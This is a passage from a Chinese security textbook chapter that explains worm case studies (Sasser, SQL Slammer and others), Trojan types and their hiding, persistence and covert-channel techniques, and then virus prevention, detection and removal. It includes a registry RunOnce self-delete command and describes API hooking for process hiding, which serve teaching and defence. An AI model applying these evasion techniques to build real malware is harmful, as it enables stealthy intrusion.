CreateServiceA.API函数。
( 3) 删除自己:
·在 Windows95系统中,可以采用 DeleteFile API函数 。
·在 Windows 98/NT/2000中,只能在系统下次启动时删除自己 。 比较好的方法是:在注册表中写一条:
” HKLM\SoftWare\MOROSOFT\WNDOWS\CurrentVetsion\RUN
ONCE%COMSPEC%/C DEL
<PATH_TO_WORM\WORM_FILE_NAME.EXE
然后重新启动操作系统。
1.4.3 蠕虫举例
1,I_WORM.Blebla.B网络蠕虫该病毒是通过电子邮件的附件来发送的,文件的名称是:
xromeo.exe和 xjuliet.chm,该蠕虫程序的名称由此而来 。
当用户在使用 OE阅读信件时,这两个附件自动被保存,运行 。
当运行了该附件后,该蠕虫程序将自身发送给 Outlook地址簿里的每一个人,并将信息发送给 alt.comp.virus 新闻组 。 该蠕虫程序是以一个 E-mail附件的形式发送的,信件的主体是以 HTML语言写成的,并且含有两个附件,xromeo.exe及 xjuliet.chm,收件人本身看不见什么邮件的内容 。
该蠕虫程序的危害性还表现在它还能修改注册表一些项目,使得一些文件的执行,必须依赖该蠕虫程序生成的在 Windows目录下的 SYSRNJ.EXE文件,由此可见对于该病毒程序的清除不能简单地将蠕虫程序删除掉,而必须先将注册表中的有关该蠕虫的设置删除后,
才能删除这些蠕虫程序。
2,I_WORM/EMANUEL网络蠕虫该病毒通过 Microsoft的 Outlook Express来自动传播给受感染计算机的地址簿里的所有人,给每人发送一封带有该附件的邮件 。
该网络蠕虫长度 16896~ 22000字节,有多个变种 。
在用户执行该附件后,该网络蠕虫程序在系统状态区域的时钟旁边放置一个,花,一样的图标,如果用户点击该,花,图标,就会出现一个消息框,大意是不要按此按钮 。 如果按了该按钮的话,
会出现一个以 Emmanuel为标题的信息框,当用户关闭该信息框时又会出现一些别的,诸如上帝保佑你的提示信息 。
该网络蠕虫程序与其他常见的网络蠕虫程序一样,是通过网络上的电子邮件系统 Outlook来传播的,同样是修改 Windows系统下的主管电子邮件收发的 wsock32.dll文件 。 它与别的网络蠕虫程序的不同之处在于它不断可以通过网络自动发送网络蠕虫程序本身,而且发送的文件的名称是变化的 。
该病毒是世界上第一个可自我将病毒体分解成多个大小可变化的程序块(插件),分别潜藏计算机内的不同位置,以便躲避查毒软件。该病毒可将这些碎块聚合成一个完整的病毒,再进行传播和破坏。
3,I-Worm.Magistr网络蠕虫这是一个恶性病毒,可通过网络上的电子邮件或在局域网内进行传播,发作时间是在病毒感染系统一个月后 。 该病毒随机在当前机上找一个,EXE或,SCR文件和一些,DOC或,TXT文件作为附件发出去 。
蠕虫会改写本地机和局域网中电脑上的文件,文件内容全部被改写,
这将导致文件不能恢复 。 在 Win 9x环境下,该蠕虫会像 CIH病毒一样,破坏 BIOS和清除硬盘上的数据,是危害性非常大的一种病毒 。
该蠕虫采用了多变形引擎和两组加密模块,感染文件的中部和尾部,将中部的原文件部分代码加密后潜藏在蠕虫体内。其长为
24000~ 30000字节,使用了非常复杂的感染机制,感染,EXE,.DLL,.OCX,.SCR,.CPL等文件;每传染一个目标,就变化一次,具有无穷次变化,其目的是使反病毒软件难以发现和清除。目前,该蠕虫已有许多变种。
4,SQL蠕虫王
SQL蠕虫王是 2003年 1月 25日在全球爆发的蠕虫 。 它非常小,仅仅只有 376字节,是针对 Microsoft SQL Server 2000的蠕虫,利用的安全漏洞是,Microsoft SQL Server 2000 Resolution 服务远程缓冲区溢出,漏洞,利用的端口是 SQL Server Resolution服务的 UDP 1434。
Microsoft SQL Server 2000可以在一个物理主机上提供多个逻辑的 SQL服务器的实例 。 每个实例都可以看做一个单独的服务器 。
但是,这些实例不能全都使用标准的 SQL服务对话端口 ( TCP
1433),所以 QL Server Resolution服务会监听 UDP 1434端口,提供一种特殊的 SQL服务实例的途径,用于客户端查询适当的网络末端 。
当 SQL Server Resolution服务在 UDP 1434端口接收到第一个字节设置为 0x04的 UDP包时,SQL监视线程会获取 UDP包中的数据,
并使用用户提供的该信息来尝试打开注册表中的某一键值。利用这一点,攻击者会在该 UDP包后追加大量字符串数据。当尝试打开这个字符串对应的键值时,会发生基于栈的缓冲区溢出。蠕虫溢出成功取得系统控制权后,就开始向随机 IP地址发送自身。
5,震荡波震荡波 ( Worm.Sasser) 是一种长度为 15872字节的 蠕虫,它依赖于 Windows NT/2000/XP/Server2003,以系统漏洞为传播途径 。
下面介绍震荡波的传播过程 。
( 1) 拷贝自身到系统目录 ( 名为 %WINDOWS%\avserve2.exe,
15872字节 ),然后登记到自启动项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\Run
avserve2.exe = %WINDOWS%\avserve2.exe
( 2) 开辟线程,在本地开辟后门:监听 TCP 5554端口 ( 支持
USER,PASS,PORT,RETR和 QUIT命令 ) 被攻击的机器主动连接本地
5554端口,把 IP地址和端口传过来 。 本线程负责把病毒文件传送到被攻击的机器 。
( 3) 开辟 128个扫描线程 。 以本地 IP地址为基础,取随机 IP地址,
疯狂地试探连接 445端口:如果试探成功,则运行一个新的病毒进程对该目标进行攻击,把该目标的 IP地址保存到,c:\win2.log‖。
( 4) 利用 Windows的 LSASS 中存在一个缓冲区溢出漏洞进行攻击 。
一旦攻击成功,会导致对方机器感染此病毒并进行下一轮的传播;
攻击失败也会造成对方机器的缓冲区溢出,导致对方机器程序非法操作,以及系统异常等 。 由于该病毒在 lsass.exe中溢出,可以获取管理员的权限,执行任意指令 。
( 5)溢出代码会主动从原机器下载病毒程序,运行起来,开始新的攻击。
1.5 木马返回
1.5.1 木马程序及其类型
1,木马程序概述古希腊诗人荷马 ( Homer) 在其史诗依利雅得 ( The Iliad) 中,
描述了一个故事:希腊王的王妃海伦被特洛伊 ( Troy) 的王子掠走,
希腊王在攻打 Troy城时,使用了木马计 ( the stratagem of
Trojan horse),在巨大的木马内装满了士兵,然后假装撤退,把木马 ( Trojan horse) 留下 。 特洛伊人把木马当作战利品拉回特洛伊城内 。 到了夜间,木马内的士兵,钻出来作为内应,打开城门 。
希腊王得以攻下特洛伊城 。 此后,人们就把特洛伊木马作为伪装的内部颠覆者的代名词 。
RFC1244( Request for Comments:1244) 中,关于 Trojan( 特洛伊木马)程序的定义是:特洛伊木马程序是一种程序,它能提供一些有用的或者令人感兴趣的功能。但是还具有用户不知道的其他功能,
例如在用户不知晓的情况下拷贝文件或窃取密码。简单地说,凡是人们能在本地计算机上操作的功能,木马基本上都能实现。
2,基于动作的木马程序类型根据木马程序对计算机的动作方式,木马程序可以分为如下几种类型 。
( 1) 远程控制型远程控制型是木马程序的主流 。 所谓远程控制就是在计算机间通过某种协议 ( 如 TCP/IP协议 ) 建立起一个数据通道 。 通道的一端发送命令,另一端解释并执行该命令,并通过该通道返回信息 。 简单地说,就是采用 Clint/Server( 客户机 /服务器,简称 C/S) 工作模式 。
采用 C/S模式的木马程序都由两部分组成:一部分称为被控端
( 通常是监听端口的 Server端 ),另一部分被称为控制端 ( 通常是主动发起连接的 Clint端 ) 。 被控端的主要任务是隐藏在被控主机的系统内部,并打开一个监听端口,就像隐藏在木马中的战士,等待着攻击的时机,当接收到来自控制端的连接请求后,主线程立即创建一个子线程并把请求交给它处理,同时继续监听其他的请求 。
控制端的任只是发送命令,并正确地接收返回信息 。
这种类型的木马,运行起来非常简单,只要先运行服务端程序,
同时获得远程主机的 IP地址,控制者就能任意访问被控制端的计算机,从而使远程控制者在本地计算机上做任意想做的事情。
( 2) 信息窃取型信息窃取型木马的目的是收集系统上的敏感信息,例如用户登陆类型,用户名,口令,密码等 。 这种木马一般不需要客户端,运行时不会监听端口,只悄悄地在后台运行,一边收集敏感信息,一边不断检测系统的状态 。 一旦发现系统已经连接到 Internet上,就在受害者不知情的情形下将收集的信息通过一些常用的传输方式
( 如电子邮件,ICQ,FTP) 把它们发送到指定的地方 。
( 3) 键盘记录型键盘记录型木马只做一件事情,就是记录受害者的键盘敲击,
并完整地记录在 LOG文件中 。
( 4) 毁坏型毁坏型木马以毁坏并删除文件(如受害者计算机上的,dll,.ini
或,exe) 为主要目的。
3,木马程序的特征木马是一种危害性极大个恶意程序 。 它可以窃取数据,篡改,
破坏数据和文件,释放病毒,执行远程非法操作者的指令,甚至可以使系统自毁 。 下面介绍它的特征 。
( 1) 非授权性与自动运行性:一旦控制端与服务端建立连接后,
控制端将窃取用户密码,获取大部分操作权限,如修改文件,修改注册表,重启或关闭服务端操作系统,断开网络连接,控制服务端鼠标和键盘,监视服务端桌面操作,查看服务端进程等 。 这些权限不是用户授权的,而是木马自己窃取的 。
( 2) 隐藏性和欺骗性:隐藏是一切恶意程序的存在之本 。 而木马为了获得非授权的服务,还要通过欺骗进行隐藏 。
( 3) 可预置性:木马程序可以在系统软件和应用软件的文件传播中被人置入,也可以在系统或软件设计是被故意放置进来 。 例如某操作系统在设计时故意放置了一个木马程序,可以将客户的相关信息发回到其总部 。
( 4)非自繁殖性与非自动感染性。一般说来,病毒具有极强的传染性,而木马虽然可以传播,当本身不具备繁殖性和自动感染的功能。
1.5.2 木马程序的关键技术
1,木马的传播形式木马的传播都是先进行伪装或改头换面(如利用 exe文件绑定将木马捆绑在小游戏上,或将木马的图标直接改为
html,txt,jpg等文件的图标),然后进行传播。下面介绍木马的几种传播形式。
( 1) 手工放置:手工放置比较简单,是最常见的做法 。
手工放置分本地放置和远程放置两种 。 本地安装就是直接在计算机上进行安装 。 远程安装就是通过常规攻击手段使获得目标主机的上传权限后,将木马上传到目标计算机上,
然后通过其他方法使木马程序运行起来 。
( 2) 以邮件附件的形式传播:控制端将木马改头换面后,
然后将木马程序添加到附件中,发送给收件人 。
( 3) 通过 OICQ对话,利用文件传送功能发送伪装了的木马程序 。
( 4) 将木马程序捆绑在软件安装程序上,通过提供软件下载的网站 ( Web/FTP/BBS) 传播 。
( 5) 通过病毒或蠕虫程序传播 。
( 6)通过磁盘或光盘传播。
2,木马的隐藏与欺骗技术隐藏是一切恶意程序生存之本,欺骗是通过伪装来实现隐藏一种技巧 。 下面介绍木马的几种隐藏手段,
( 1) 进程隐蔽服务器端想要隐藏木马,可以伪隐藏,也可以是真隐藏。
伪隐藏,就是指程序的进程仍然存在,只不过是让它消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法比较简单。在 Windows9x系统中,只要把木马服务器端的程序注册为一个服务(在后台工作的进程)就可以了。这样,程序就会从任务列表中消失,为系统不再认为是一个进程,当按下 Ctrl+Alt+Delete的时候,也就看不到这个进程。对于 Windows
NT,Windows 2000等,通过服务管理器,则要使用 API的拦截技术,
通过建立一个后台的系统钩子,拦截 PSAPI的 EnumProcessModules
等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程 ID( PID) 为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了 TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。
同样,这种方法也可以用在进程隐藏上。当进程为真隐藏的时候,
那么这个木马的服务器部分程序运行之后,就不应该具备一般进程特征,也不应该具备服务特征,即它完全溶进了系统的内核。因此可以不把它做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,
( 2) 伪装成图像文件即将木马图标修改成图像文件图标 。
( 3) 伪装成应用程序扩展组件将木马程序写成任何类型的文件 ( 如 dll,ocx等 ),然后挂在十分出名的软件中 。 因为人们一般不怀疑这些软件 。
( 4) 错觉欺骗利用人的错觉,例如故意混淆文件名中的 1( 数字 ) 与 l( L的小写 ),0( 数字 ) 与 o( 字母 ) 或 O( 字母 ) 。
( 5) 合并程序欺骗合并程序就是将两个或多个可执行文件结合为一个文件,使这些可执行文件能同时执行。木马的合并欺骗就是将木马绑定到应用程序中。
3,程序的自加载运行技术在受害系统中驻留的木马程序应当具有自加载启动运行功能。让程序自运行的方法比较多。最常见的方法是对
Windows系统注册表,win.ini文件,system.ini文件或启动组文件进行修改。
4,木马程序建立连接的隐藏木马程序的数据传递方法有很多种,通常是靠 TCP,UDP传输数据 。 这时可以利用 Winsock与目标机的指定端口建立起连接,使用
send和 recv等 API进行数据的传递,但是这种方法的隐蔽性比较差,
往往容易被一些工具软件查看到,例如在命令行状态下使用
netstat命令,就可以查看到当前的活动 TCP,UDP连接 。
为了躲避这种侦察,可以采用多种方法,例如合并端口法和使用 ICMP( Internet Control Message Protocol) 协议进行数据的发送的方法 。
合并端口是在一个端口上同时绑定两个 TCP或者 UDP连接,通过把自己的木马端口绑定于特定的服务端口 ( 比如 80端口的 HTTP) 之上从而达到隐藏端口的目地 。
使用 ICMP协议进行数据的发送的方法,是通过修改 ICMP头的构造,加入木马的控制字段。这样的木马,具备很多新的特点,如不占用端口,使用户难以发觉;使用 ICMP可以穿透一些防火墙,
从而增加了防范的难度。
5,发送数据的组织方法为了避免被发现,木马程序必须很好地控制数据传输量,例如把屏幕画面切分为了多个部分,并将画面存储为 JPG格式,使压缩率变高,使数据变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为 0。
1.6 病毒对抗技术返回狭义的计算机病毒对抗,是指通过建立合理的计算机病毒防范体系和制度,及时发现计算机病毒侵入,并采取有效的手段阻止计算机病毒的传播和破坏,恢复受影响的计算机系统和数据 。 简单地说,查,防,解,恢复,是计算机病毒防范的四大法宝 。 广义的计算机病毒对抗还涉及使用病毒作为武器的相互攻击和防御 。
防毒是指根据系统特性,采取相应的系统安全措施预防病毒侵入计算机 。
查毒是指对于确定的环境,能够准确地报出病毒名称,该环境包括,内存,文件,引导区 ( 含主导区 ),网络等 。
解毒是指根据不同类型病毒对感染对象的修改,并按照病毒的感染特性所进行的恢复 。 该恢复过程不能破坏未被病毒修改的内容 。
感染对象包括:内存,引导区 ( 含主引导区 ),可执行文件,文档文件,网络等 。
恢复是对被病毒破坏了的文件以及系统进行恢复 。
此外,病毒防范还涉及病毒免疫和法制管理 。
1.6.1 计算机病毒的预防计算机病毒防治,要采取预防为主的方针 。 下面是一些行之有效的措施 。
1,对新购置的计算机硬软件系统进行测试新购置的计算机软件也要进行计算机病毒检测 。 有些软件厂商发售的软件,可能无意中已被计算机病毒感染 。 就是正版软件也难保证没有携带计算机病毒 。 因此,只要条件许可,就要进行病毒检测:用软件工具检查已知计算机病毒,用人工检测方法检查未知计算机病毒,并经过证实没有计算机病毒感染和破坏迹象后再使用 。
2,单台计算机系统的安全使用在一台计算机中使用在其他计算机中用过的移动存储器时,应当先进行病毒检测。对重点保护的计算机系统应做到专机、专盘、
专人、专用。封闭的使用环境中是不会自然产生计算机病毒的。
3,计算机网络的安全使用对于网络计算机系统,除了要首先保证自己使用的计算机的安全外,还应采取下列针对网络的防杀计算机病毒措施:
( 1) 安装网络服务器时,应保证没有计算机病毒存在,即安装环境和网络操作系统本身没有感染计算机病毒 。
( 2)在安装网络服务器时,应将文件系统划分成多个文件卷系统(至少划分成操作系统卷、共享的应用程序卷和各个网络用户可以独占的用户数据卷),以有利于维护网络服务器的安全稳定运行和用户数据的安全。这样,一旦系统卷受到某种损伤,导致服务器瘫痪,就可以通过重装系统卷,恢复网络操作系统,使服务器又马上投入运行,而装在共享的应用程序卷和用户卷内的程序和数据文件不会受到任何损伤。如果用户卷内由于计算机病毒或使用上的原因导致存储空间拥塞时,系统卷不会受影响,不会导致网络系统运行失常。这种划分还十分有利于系统管理员设置网络安全存取权限,
保证网络系统不受计算机病毒感染和破坏。
( 3) 一定要用硬盘启动网络服务器,否则在受到引导型计算机病毒感染和破坏后,遭受损失的将不仅仅是一台个人计算机,而会影响到整个网络的中枢 。
( 4) 为各个卷分配不同的用户权限 。 将操作系统卷设置成对一般用户为只读权限,屏蔽其它网络用户对系统卷除读和执行以外的所有其它操作,如修改,改名,删除,创建文件和写文件等操作权限 。
应用程序卷也应设置成对一般用户是只读权限的,不经授权,不经计算机病毒检测,就不允许在共享的应用程序卷中安装程序 。 保证除系统管理员外,其它网络用户不可能将计算机病毒感染到系统中,
使网络用户有一个安全的联网工作环境 。
( 5) 在网络服务器上必须安装真正有效的防杀计算机病毒软件,
并经常进行升级 。 必要的时候还可以在网关,路由器上安装计算机病毒防火墙产品,从网络出入口保护整个网络不受计算机病毒的侵害 。 在网络工作站上采取必要的防杀计算机病毒措施,可使用户不必担心来自网络内部和网络工作站本身的计算机病毒侵害 。
( 6)不随便直接运行或直接打开电子函件中夹带的附件文件,不要随意下载软件,尤其是一些可执行文件和 Office文档。即使下载了,也要先用最新的防杀计算机病毒软件来检查。
4,重要数据文件要有备份
( 1) 硬盘分区表,引导扇区等的关键数据应作备份并妥善保管,以便在进行系统维护和修复工作时作为参考 。
( 2)重要数据文件定期进行备份工作。不要等到由于计算机病毒破坏、计算机硬件或软件出现故障,使用户数据受到损伤时再去急救。
5,强化安全管理
( 1) 系统管理员的口令应严格管理,不使泄漏,不定期地予以更换,保护网络系统不被非法存取,不被感染上计算机病毒或遭受破坏 。
( 2) 应用程序软件的安装,应由系统管理员进行或由系统管理员临时授权进行,保护网络用户使用共享资源时总是安全无毒的 。
( 3) 系统管理员对网络内的共享电子函件系统,共享存储区域和用户卷应定期进行计算机病毒扫描,发现异常情况及时处理 。 条件许可,还应在应用程序卷中安装最新版本的防杀计算机病毒软件供用户使用 。
( 4) 网络系统管理员应做好日常管理事务的同时,还要拟订应急措施,及时发现计算机病毒感染迹象 。 一旦出现计算机病毒传播迹象,应立即隔离被感染的计算机系统和网络,并进行处理 。 不应当带毒继续工作下去,要按照特别情况清查整个网络,切断计算机病毒传播的途径,保障正常工作的进行 。
由于技术上的计算机病毒防治方法尚无法达到完美的境地,难免会有新的计算机病毒突破防护系统的保护,传染到计算机系统中。
因此对可能由计算机病毒引起的现象应予以注意,发现异常情况时,
不使计算机病毒传播影响到整个网络。
6,防范体系与规范建设计算机病毒防范工作,首先是防范体系的建设和制度的建立 。
没有一个完善的防范体系,一切防范措施都将滞后于计算机病毒的危害 。
计算机病毒防范体系的建设是一个社会性的工作,不是一两个人,
一两家企业能够实现的,需要全社会的参与,充分利用所有能够利用的资源,形成广泛的,全社会的计算机病毒防范体系网络 。
计算机病毒防范制度是防范体系中每个主体都必须的行为规程,
没有制度,防范体系就不可能很好地运作,就不可能达到预期的效果。必须依照防范体系对防范制度的要求,结合实际情况,建立符合自身特点防范制度。
为了统筹全国的计算机病毒的防治,2000年 5月在原
,计算机病毒检测防治产品检测中心,的基础上,成立了,国家计算机病毒应急处理中心,。 国家计算机病毒应急处理中心工作任务是:充分调动国内防治计算机病毒的力量,快速发现病毒疫情,快速作出反应,快速处置,及时消除病毒,防止计算机病毒对我国的计算机网络和信息系统造成重大的破坏,确保我国信息产业安全健康发展 。
另一方面,为了使中国的计算机防治工作走上法制轨道,国家于 1994年 2月颁布了,中华人民共和国计算机信息系统安全保护条例,,在此基础上又颁布了,计算机病毒防治管理办法,,还在新修改的,中华人民共和国刑法,中对故意制造,传播计算机病毒的行为规定了相应的处罚办法 。
1.6.2 计算机病毒发现计算机病毒是一段程序代码,即使它隐藏得很好,但也会留下许多痕迹 。 通过对这些蛛丝马迹的判别,就能发现计算机病毒的存在了 。
1,根据表现发现病毒根据计算机病毒感染和发作的阶段,可以将计算机病毒的表现现象分为三大类:计算机病毒发作前,发作时和发作后的表现现象 。 在人工情况下,可以通过发现这些表现推断发现计算机病毒 。
( 1) 计算机病毒发作前的表现现象计算机病毒发作前阶段,指从计算机病毒感染计算机系统,潜伏在系统内开始,一直到激发条件满足,计算机病毒发作之前的阶段。在这个阶段,计算机病毒的行为主要是以潜伏、传播为主。计算机病毒会以各式各样的手法来隐藏自己,在不被发现同时,又自我复制,以各种手段进行传播。但是,它总是有一些表现,例如:
·原来运行正常的计算机突然经常性无缘无故地死机:由于修改了中断引起的系统不稳定 。
·操作系统无法正常启动:可能由于感染病毒后系统文件结构发生变化,无法被操作系统加载,引导 。
·运行速度明显变慢:可能由于计算机病毒占用了大量的系统资源,
并且自身的运行占用了大量的处理器时间,造成系统资源不足,运行变慢 。
·原来正常运行的软件总出现内存不足的错误:可能是计算机病毒驻留后占用了系统中大量的内存空间,使得可用内存空间减小 。
·打印和通讯异常:可能由于计算机病毒驻留内存后占用了打印端口,串行通讯端口的中断服务程序,使之不能正常工作 。
·应用程序经常发生死机或者非法错误:可能由于计算机病毒破坏了应用程序本身的正常功能,或者计算机病毒程序本身存在着兼容性方面的问题造成的。
·系统文件的时间,日期,大小发生变化:这是最明显的计算机病毒感染迹象 。
·打开的 Word文档另存时只能以模板方式保存:往往是打开的 Word
文档中感染了 Word宏病毒的缘故 。
·磁盘空间突然迅速减少 。
·网络驱动器卷或共享目录无法调用 。
·基本内存发生变化 ( 一般少 1Kb~ 2Kb),通常是感染了引导型计算机病毒所造成 。
·陌生人发来的电子函件 。
·自动链接到一些陌生的网站 。
应当注意:一般的系统故障是有别与计算机病毒感染的。系统故障大多只符合上面的一点或二点现象,而计算机病毒感染所出现的现象会多的多。
( 2) 计算机病毒发作时的表现现象计算机病毒发作时是指满足计算机病毒发作的条件,计算机病毒程序开始破坏行为的阶段 。 通常,不同的计算机病毒发作时的表现亦不相同 。 下面是一些病毒发作常见的表现现象:
·提示一些不相干的话 。
·发出一段的音乐,如,杨基,( Yangkee) 计算机病毒和中国的
,浏阳河,计算机病毒 。
·产生特定的图象:如小球计算机病毒 。
·硬盘灯不断闪烁:病毒使有持续大量的硬盘读写操作 。
·进行游戏算法 。
·Windows桌面图标发生变化 。
·计算机突然死机或重启 。
·自动发送电子函件 。
·鼠标指针自己动 。
应当注意,上述现象须与计算机正常运行时的表现相区分
( 3) 计算机病毒发作后的表现现象通常,计算机病毒发作都会给计算机系统带来破坏性的后果 。 大多数计算机病毒都是属于,恶性,计算机病毒 。,恶性,计算机病毒发作后往往会带来很大的损失,下面列举一些恶性计算机病毒发作后所造成的后果 。
·硬盘无法启动:可能是计算机病毒破坏了硬盘的引导扇区 。
·系统文件丢失或被破坏:可能是某些计算机病毒发作时删除了系统文件,或者破坏了系统文件 。
·文件目录发生混乱:有两种情况 。 一种就是确实将目录结构破坏;
另一种情况将真正的目录区转移到硬盘的其他扇区中 。 只要病毒存在,后者一般能够被恢复的 。
·数据丢失:可能是计算机病毒修改了硬盘的关键内容 ( 如文件分配表,根目录区等 ),或部分文档丢失或被破坏 。
·部分文档自动加密码:可能是某些机病毒利用加密算法,将加密密钥保存在计算机病毒程序体内或其他隐蔽的地方 。 一旦这种计算机病毒被清除,被加密的文档就很难被恢复了 。
·修改 Autoexec.bat文件,增加 Format C,一项,导致计算机重新启动时格式化硬盘 。
·部分可软件升级主板的 BIOS程序混乱,主板被破坏 。
·网络瘫痪,无法提供正常的服务。
2,进程监视进程监视会观察到系统的活动状况,同时也会拦截所有可疑行为 。
例如,多数个人计算机的 BIOS都有防病毒设置,当这些设置打开时,
就允许计算机拦截所有对系统主引导记录进行写入的企图 。
3,验证校验信息使用信息校验码可以发现文件内部字节的变化。一般情况下,
未被病毒感染的系统首先应生成一个基准记录,然后规律性地使用校验码(如 CRC) 来检查文件的改变情况。
4,使用病毒扫描程序病毒扫描程序使用特征文件 ( Signature file) 在被感染的文件中查找病毒 。 特征文件是列出所有已知病毒和它们的属性的数据库 。 这些属性包括病毒代码,传染文件的类型和有助于查找病毒的其他信息 。
病毒扫描程序有多种形式。其中,基本的形式有按需扫描和内存驻留两种。按需扫描型程序需要手工启动或者由一个自动进程启动运行。这种程序启动后,一般会在整个驱动器或系统中查找病毒,包括 RAM,硬盘等设备。
内存驻留型是一种在后台运行的程序。它们一般在系统启动时就初始化,然后一直在内存中保持激活状态,一旦有文件访问,就会拦截对文件的调用,进行病毒检查,然后才允许文件装入内存。
1.6.3 计算机病毒的清除病毒的清除,也称为对象恢复,就是将染毒文件中的病毒代码摘除。计算机病毒很多,并且还在不断出现。
它们特性各异,生成技术不同,清除方法也不同。下面介绍几种已有病毒的清除方法。
1,引导型病毒的清除清除引导型病毒的最有效,最简单方法是进行磁盘的格式化 。
但是,格式化的同时也使有用数据同归于尽 。 因此,要尽量采用不格式化方法清除引导型病毒 。
( 1) 主引导扇区的修复
1 用无毒软盘启动系统 。
2 寻找一台同类型,硬盘分区相同的无毒计算机,将其硬盘主引导扇区写入一张软盘 。
3 将该盘插入染毒计算机,将其中采集的主引导扇区数据写入染毒硬盘 。
4 修复结束。
( 2) BOOT扇区的恢复
1 用无毒软盘启动系统 。
2 运行下面的命令:
·FDISK/MBR( 重写一个无病毒的 MBR) 。
·FDISK( 读取或重写分区表 ) 。
·FORMAT C:/S或 SYS C:( 重写一个无毒的活动分区引导记录 ) 。
注意:
·对硬盘分区,FAT或其他加密病毒,需要根据病毒的算法先进行解码 。
·如果引导型病毒将原主引导扇区或 BOOT覆盖写入根目录区,被覆盖的根目录区将永久性破坏,不可恢复。
2,文件型病毒的清除对于文件型病毒,可分两种情形讨论 。 一是破坏性感染病毒 。 这类病毒一般采用覆盖式写入,由于破坏了宿主文件,
所以当没有原文件的副本时,是不可恢复的 。 另一种情形是非破坏性病毒 。 它们感染的文件是可以恢复的 。 但是恢复方法是很复杂的,没有专门知识 ( 如对可执行文件格式的了解,
以及是否掌握汇编语言知识 ) 是做不到手工恢复的 。
在文件型病毒的清除时,特别要注意交叉型病毒的手工清除方法。所谓交叉感染是指一个文件同时感染了多种病毒。
交叉感染的文件大致有图 1.6所示的两种基本结构。对于附在宿主文件尾部的病毒,清除的顺序与感染和执行的顺序一致
(先执行的先清除);对于附在宿主文件头部的病毒,清除的顺序与感染和执行的顺序相反(先执行的后清除)
还要注意,COM文件感染可能会有更复杂的情形,即首尾都附加有病毒。这时,就要注意在 100H处的跳转语句是先执行哪个病毒程序,以及以后的跳转语句形成的执行顺序。
3,宏病毒的清除
( 1) 手工清除例如清除 Word文档中的宏病毒,可以采用如下方法:
1 选取,工具 | 宏,,进入,管理器,;
2 选取,宏方案项 ( M) ;
3 在,宏方案项的有效范围,下拉列表框中,选择要检查的文档,
在其上方列表框中会显示该文档模板中出现的宏;
4 将来源不明的宏删除 。
( 2) 使用杀毒软件下面介绍在 Windows环境下使用 KV3000清除宏病毒的方法 。
1 执行 KV3000;
2 任选一可能存在宏病毒的子目录进行检查;
3 为安全起见,查出病毒后,先将之扩展名改名 ( 如改为,kv) ;
4 将原文件中的病毒杀除。
1.6.4 病毒防治软件
1,病毒防治软件的类型病毒防治软件的功能不外乎查毒,杀毒 。 按照查毒,杀毒机制,病毒防治软件可以分为 3类:
( 1) 病毒扫描型软件:病毒扫描型软件采用特征扫描法,根据已知病毒特征扫描可能的感染对象 。
( 2) 完整性检查型软件:完整性检查型软件采用比较法和校验和法,监视对象 ( 包括引导扇区和文件等 ) 的属性 ( 大小,时间,日期和校验和 ) 和内容,如果发生变化,则对象极有可能被病毒感染 。
( 3)行为封锁型软件:行为封锁型软件采用驻留内存在后台工作的方式,监视可能因病毒引起的异常行为。发现异常行为,就及时发出警告,让用户决定是否让所发生的行为继续进行。
2,病毒防治软件的选择指标
( 1) 识别率:识别率主要从下面两个方面来衡量:
·误报率:在被检测对象中,对没有感染病毒的对象发出警报的比率 。
·漏报率:在被检测对象中,对感染病毒的对象没有被检测出比率 。
( 2) 检测速度:不同的抗病毒软件使用不同病毒扫描算法,会影响检测速度 。 当然,开发者的能力也影响检测速度 。
( 3) 动态检测 ( on-the-fly scanning) 能力:动态检测也称实时检测检测,指在操作 ( 打开,关闭,创建,读 /写 ) 时检测病毒的能力 。 具有动态检测能力的抗病毒软件总是处于激活状态,一般驻留内在存,主动检测各种对象 。
( 4) 按需检测 ( on-demand scanning) 能力:抗病毒软件一般处于非激活状态,在用户请求下才开始扫描 。
( 5) 多平台可用性:抗病毒软件可以识别 OS,根据不同的 OS偶数,利用不同的特征 。
( 6)可靠性:可靠性是指抗病毒软件能够完成正常的扫描,它是一个十分重要的准则。
3,病毒防治软件产品
( 1) 国外防病毒产品及查询网站
·VirusScan,网址,http://www.mcafeeb2b.com
·NAV,网址,http://www.symantee.com
·Pandaguard,网址,http://www,pandaguard.com
( 2) 国外防病毒产品及查询网站
·KILL,网址,http://www.kill.com
·KV,网址,http://www.jiangmin.com
·RAV,网址,http://www,rising.com
·VRV,网址,http://www.vrv.com
1.6.5 计算机病毒侵害系统的恢复查毒杀毒的目的,是为了让系统能正常工作 。 因此,查毒,
杀毒之后,还要对被破坏了的系统进行修复 。
一旦遇到计算机病毒破坏了系统,采取一些简单的办法就可以杀除大多数的计算机病毒,恢复被计算机病毒破坏的系统。下面介绍计算机病毒感染后的一般修复处理方法:
( 1) 首先必须对系统破坏程度有详细而全面的了解,并根据破坏的程度来决定采用对应的有效清除方法和对策:
·若受破坏的大多是系统文件和应用程序文件,并且感染程度较深,
那么可以采取重装系统的办法来达到清除计算机病毒的目的;
·若感染的是关键数据文件或感染比较严重(如硬件被 CIH计算机病毒破坏),就应当考虑请计算机病毒专家来进行清除和数据恢复工作。
( 2) 修复前,尽可能再次备份重要数据文件 。
目前防杀病毒软件在杀毒前大多都会保存重要数据和被感染文件,
以便误杀或因杀毒造成新的破坏后能够恢复现场 。 其中,对特别重要的用户数据文件等在杀毒前还应当单独进行手工备份,但是不能备份在被感染破坏的系统内,也不应该与平时的常规备份混在一起 。
( 3) 启动防杀计算机病毒软件并对整个硬盘进行扫描 。
注意,某些计算机病毒 ( 如 CIH计算机病毒 ) 在 Windows 95/98状态下无法完全清除,此时应用事先准备好的未感染计算机病毒的
DOS系统软盘启动系统,然后在 DOS下运行相关杀毒软件进行清除 。
( 4) 发现计算机病毒后,一般应利用防杀计算机病毒软件清除文件中的计算机病毒 。 如果可执行文件中的计算机病毒不能被清除,
应将其删除后重新安装相应的应用程序 。
